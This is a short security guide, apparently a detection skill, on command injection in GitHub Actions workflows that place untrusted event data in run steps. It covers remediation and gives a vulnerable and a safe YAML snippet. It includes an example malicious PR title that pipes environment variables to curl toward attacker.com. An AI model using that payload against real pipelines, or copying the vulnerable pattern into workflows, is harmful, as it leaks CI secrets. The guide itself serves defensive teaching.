GitHub Actions Command Injection

Detects GitHub Actions workflow files that interpolate untrusted event data into run steps, enabling CI/CD pipeline injection.

zakirkun 4c0bfe8 2 files · 3.1 KB Updated

File contents

GitHub Actions Command Injection

Overview

GitHub Actions workflows that interpolate ${{ github.event.* }} values directly into run: steps are vulnerable to command injection. A malicious PR title, issue body, or commit message can break out of the shell command and execute arbitrary code in the CI environment, exfiltrating secrets.

Example malicious PR title: title"; env | curl -X POST attacker.com -d @-; echo "

Remediation

  • Never use ${{ github.event.pull_request.title }} directly in run: steps
  • Pass event data as environment variables then reference $ENV_VAR in shell
  • Use github.sha, github.ref (safe) rather than user-supplied metadata

Vulnerable:

- run: echo "${{ github.event.issue.title }}"

Safe:

- env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: echo "$ISSUE_TITLE"

zakirkun/ice-tea/tree/main/skills/devops/github-actions-injection commit 4c0bfe81c2

Frequently asked questions

npx skillmds@latest add zakirkun/github-actions-command-injection